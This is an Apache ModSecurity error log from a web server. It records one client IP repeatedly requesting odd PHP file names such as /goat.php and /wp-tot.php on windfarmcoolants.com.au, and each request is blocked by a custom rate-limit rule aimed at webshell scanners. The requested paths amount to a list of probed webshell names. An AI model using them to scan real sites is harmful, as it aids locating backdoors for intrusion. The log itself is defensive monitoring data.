[Sat Apr 18 20:17:49.086395 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:6131] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeN2bRqX6WpmmAXOBi8bbwAAAcQ"]
[Sat Apr 18 20:17:49.622886 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:5750] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hots.php"] [unique_id "aeN2bYCFeowknfXHM7ka4AAAAE4"]
[Sat Apr 18 20:17:50.561866 2026] [:error] [pid 9863:tid 9880] [client 52.236.80.95:5808] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hots.php"] [unique_id "aeN2bjjjiypiFrTucbLNDAAAAAc"]
[Sat Apr 18 20:17:51.210988 2026] [:error] [pid 34237:tid 34246] [client 52.236.80.95:6024] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hots.php"] [unique_id "aeN2bxBmX4Wq5a6rxfap2AAAAUc"]
[Sat Apr 18 20:17:51.747365 2026] [:error] [pid 34237:tid 34254] [client 52.236.80.95:6105] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hots.php"] [unique_id "aeN2bxBmX4Wq5a6rxfap2gAAAU8"]
[Sat Apr 18 20:17:52.788832 2026] [:error] [pid 34290:tid 34338] [client 52.236.80.95:5751] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aeN2cBqX6WpmmAXOBi8bcwAAAdM"]
[Sat Apr 18 20:17:53.499024 2026] [:error] [pid 9970:tid 9992] [client 52.236.80.95:5964] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aeN2cSYdRLRhVmaIMx2zmAAAANI"]
[Sat Apr 18 20:17:54.230553 2026] [:error] [pid 9864:tid 9917] [client 52.236.80.95:6087] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aeN2coCFeowknfXHM7ka5wAAAEs"]
[Sat Apr 18 20:17:54.953759 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:5793] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aeN2chBmX4Wq5a6rxfap3gAAAVA"]
[Sat Apr 18 20:17:55.542164 2026] [:error] [pid 34237:tid 34246] [client 52.236.80.95:6050] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "aeN2cxBmX4Wq5a6rxfap4AAAAUc"]
[Sat Apr 18 20:17:56.092969 2026] [:error] [pid 9864:tid 9929] [client 52.236.80.95:6066] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "aeN2dICFeowknfXHM7ka7AAAAFc"]
[Sat Apr 18 20:17:56.648015 2026] [:error] [pid 9864:tid 9919] [client 52.236.80.95:5977] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "aeN2dICFeowknfXHM7ka7gAAAE0"]
[Sat Apr 18 20:17:57.277566 2026] [:error] [pid 34288:tid 34292] [client 52.236.80.95:5978] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "aeN2deTIiy__PtiLmpnS8gAAAYA"]
[Sat Apr 18 20:17:57.813628 2026] [:error] [pid 34288:tid 34294] [client 52.236.80.95:6058] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c4.php"] [unique_id "aeN2deTIiy__PtiLmpnS8wAAAYI"]
[Sat Apr 18 20:17:58.418254 2026] [:error] [pid 34288:tid 34297] [client 52.236.80.95:6035] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c4.php"] [unique_id "aeN2duTIiy__PtiLmpnS9AAAAYU"]
[Sat Apr 18 20:17:58.973739 2026] [:error] [pid 9864:tid 9917] [client 52.236.80.95:5763] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c4.php"] [unique_id "aeN2doCFeowknfXHM7ka8wAAAEs"]
[Sat Apr 18 20:17:59.618540 2026] [:error] [pid 34290:tid 34319] [client 52.236.80.95:6114] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c4.php"] [unique_id "aeN2dxqX6WpmmAXOBi8bfAAAAcA"]
[Sat Apr 18 20:18:00.143543 2026] [:error] [pid 34237:tid 34240] [client 52.236.80.95:6056] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lclnqiii.php"] [unique_id "aeN2eBBmX4Wq5a6rxfap7AAAAUE"]
[Sat Apr 18 20:18:00.691806 2026] [:error] [pid 34237:tid 34257] [client 52.236.80.95:6103] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lclnqiii.php"] [unique_id "aeN2eBBmX4Wq5a6rxfap7wAAAVI"]
[Sat Apr 18 20:18:01.371750 2026] [:error] [pid 13023:tid 13045] [client 52.236.80.95:5864] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lclnqiii.php"] [unique_id "aeN2ef1e7hG8DAeABB8F-gAAARQ"]
[Sat Apr 18 20:18:01.925673 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:5704] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lclnqiii.php"] [unique_id "aeN2eRBmX4Wq5a6rxfap9AAAAVE"]
[Sat Apr 18 20:18:02.471214 2026] [:error] [pid 13023:tid 13030] [client 52.236.80.95:5914] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat.php"] [unique_id "aeN2ev1e7hG8DAeABB8F_AAAAQU"]
[Sat Apr 18 20:18:02.973133 2026] [:error] [pid 34237:tid 34244] [client 52.236.80.95:6022] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat.php"] [unique_id "aeN2ehBmX4Wq5a6rxfap9wAAAUU"]
[Sat Apr 18 20:18:03.508061 2026] [:error] [pid 34237:tid 34257] [client 52.236.80.95:5924] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat.php"] [unique_id "aeN2exBmX4Wq5a6rxfap-AAAAVI"]
[Sat Apr 18 20:18:04.046505 2026] [:error] [pid 9864:tid 9906] [client 52.236.80.95:6083] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goat.php"] [unique_id "aeN2fICFeowknfXHM7ka9AAAAEE"]
[Sat Apr 18 20:18:04.706465 2026] [:error] [pid 9865:tid 9959] [client 52.236.80.95:6113] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tot.php"] [unique_id "aeN2fKzb5knECIY-C-iCAgAAAJY"]
[Sat Apr 18 20:18:05.265000 2026] [:error] [pid 34290:tid 34334] [client 52.236.80.95:5805] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tot.php"] [unique_id "aeN2fRqX6WpmmAXOBi8bggAAAc8"]
[Sat Apr 18 20:18:05.849011 2026] [:error] [pid 9864:tid 9907] [client 52.236.80.95:6079] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tot.php"] [unique_id "aeN2fYCFeowknfXHM7ka9gAAAEI"]
[Sat Apr 18 20:18:06.439390 2026] [:error] [pid 9865:tid 9937] [client 52.236.80.95:6032] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tot.php"] [unique_id "aeN2fqzb5knECIY-C-iCBgAAAIA"]
[Sat Apr 18 20:18:06.978940 2026] [:error] [pid 34290:tid 34339] [client 52.236.80.95:5744] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tap.php"] [unique_id "aeN2fhqX6WpmmAXOBi8bgwAAAdQ"]
[Sat Apr 18 20:18:07.562445 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:5804] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tap.php"] [unique_id "aeN2fxqX6WpmmAXOBi8bhAAAAcI"]
[Sat Apr 18 20:18:08.381853 2026] [:error] [pid 9864:tid 9926] [client 52.236.80.95:6048] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tap.php"] [unique_id "aeN2gICFeowknfXHM7ka-gAAAFQ"]
[Sat Apr 18 20:18:08.961252 2026] [:error] [pid 9864:tid 9924] [client 52.236.80.95:6136] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tap.php"] [unique_id "aeN2gICFeowknfXHM7ka_QAAAFI"]
[Sat Apr 18 20:18:09.512440 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:6094] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vrhiw.php"] [unique_id "aeN2gYCFeowknfXHM7kbAAAAAE4"]
[Sat Apr 18 20:18:10.018105 2026] [:error] [pid 34237:tid 34246] [client 52.236.80.95:5809] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vrhiw.php"] [unique_id "aeN2ghBmX4Wq5a6rxfap-wAAAUc"]
[Sat Apr 18 20:18:10.565259 2026] [:error] [pid 34237:tid 34258] [client 52.236.80.95:6127] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vrhiw.php"] [unique_id "aeN2ghBmX4Wq5a6rxfap_gAAAVM"]
[Sat Apr 18 20:18:11.180853 2026] [:error] [pid 34237:tid 34247] [client 52.236.80.95:5794] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vrhiw.php"] [unique_id "aeN2gxBmX4Wq5a6rxfaqAQAAAUg"]
[Sat Apr 18 20:18:11.764174 2026] [:error] [pid 34237:tid 34260] [client 52.236.80.95:6095] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqjki.php"] [unique_id "aeN2gxBmX4Wq5a6rxfaqBgAAAVU"]
[Sat Apr 18 20:18:12.513625 2026] [:error] [pid 34290:tid 34341] [client 52.236.80.95:6142] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqjki.php"] [unique_id "aeN2hBqX6WpmmAXOBi8biAAAAdY"]
[Sat Apr 18 20:18:13.104841 2026] [:error] [pid 9864:tid 9907] [client 52.236.80.95:6018] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqjki.php"] [unique_id "aeN2hYCFeowknfXHM7kbBAAAAEI"]
[Sat Apr 18 20:18:13.696679 2026] [:error] [pid 9864:tid 9917] [client 52.236.80.95:6043] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqjki.php"] [unique_id "aeN2hYCFeowknfXHM7kbBQAAAEs"]
[Sat Apr 18 20:18:14.328581 2026] [:error] [pid 9865:tid 9959] [client 52.236.80.95:5970] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aeN2hqzb5knECIY-C-iCCwAAAJY"]
[Sat Apr 18 20:18:14.933955 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:6077] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aeN2hhBmX4Wq5a6rxfaqCwAAAUQ"]
[Sat Apr 18 20:18:15.554141 2026] [:error] [pid 9864:tid 9916] [client 52.236.80.95:5971] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aeN2h4CFeowknfXHM7kbCgAAAEo"]
[Sat Apr 18 20:18:16.106994 2026] [:error] [pid 9864:tid 9925] [client 52.236.80.95:5985] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aeN2iICFeowknfXHM7kbDgAAAFM"]
[Sat Apr 18 20:18:17.059585 2026] [:error] [pid 9864:tid 9926] [client 52.236.80.95:6073] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "aeN2iYCFeowknfXHM7kbEAAAAFQ"]
[Sat Apr 18 20:18:17.638311 2026] [:error] [pid 34290:tid 34343] [client 52.236.80.95:6109] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "aeN2iRqX6WpmmAXOBi8bjwAAAdg"]
[Sat Apr 18 20:18:18.175527 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:6017] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "aeN2ihqX6WpmmAXOBi8bkQAAAcQ"]
[Sat Apr 18 20:18:18.839624 2026] [:error] [pid 9970:tid 9983] [client 52.236.80.95:5717] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "aeN2iiYdRLRhVmaIMx2zoAAAAMk"]
[Sat Apr 18 20:18:19.365659 2026] [:error] [pid 9865:tid 9951] [client 52.236.80.95:5952] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeN2i6zb5knECIY-C-iCEQAAAI4"]
[Sat Apr 18 20:18:19.993461 2026] [:error] [pid 34237:tid 34263] [client 52.236.80.95:5959] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeN2ixBmX4Wq5a6rxfaqDQAAAVg"]
[Sat Apr 18 20:18:20.542836 2026] [:error] [pid 9970:tid 9975] [client 52.236.80.95:5992] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeN2jCYdRLRhVmaIMx2zoQAAAME"]
[Sat Apr 18 20:18:21.105916 2026] [:error] [pid 34290:tid 34342] [client 52.236.80.95:5958] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeN2jRqX6WpmmAXOBi8blAAAAdc"]
[Sat Apr 18 20:18:21.641982 2026] [:error] [pid 13023:tid 13033] [client 52.236.80.95:5991] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeN2jf1e7hG8DAeABB8GAAAAAQg"]
[Sat Apr 18 20:18:22.924642 2026] [:error] [pid 9865:tid 9950] [client 52.236.80.95:6006] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeN2jqzb5knECIY-C-iCFwAAAI0"]
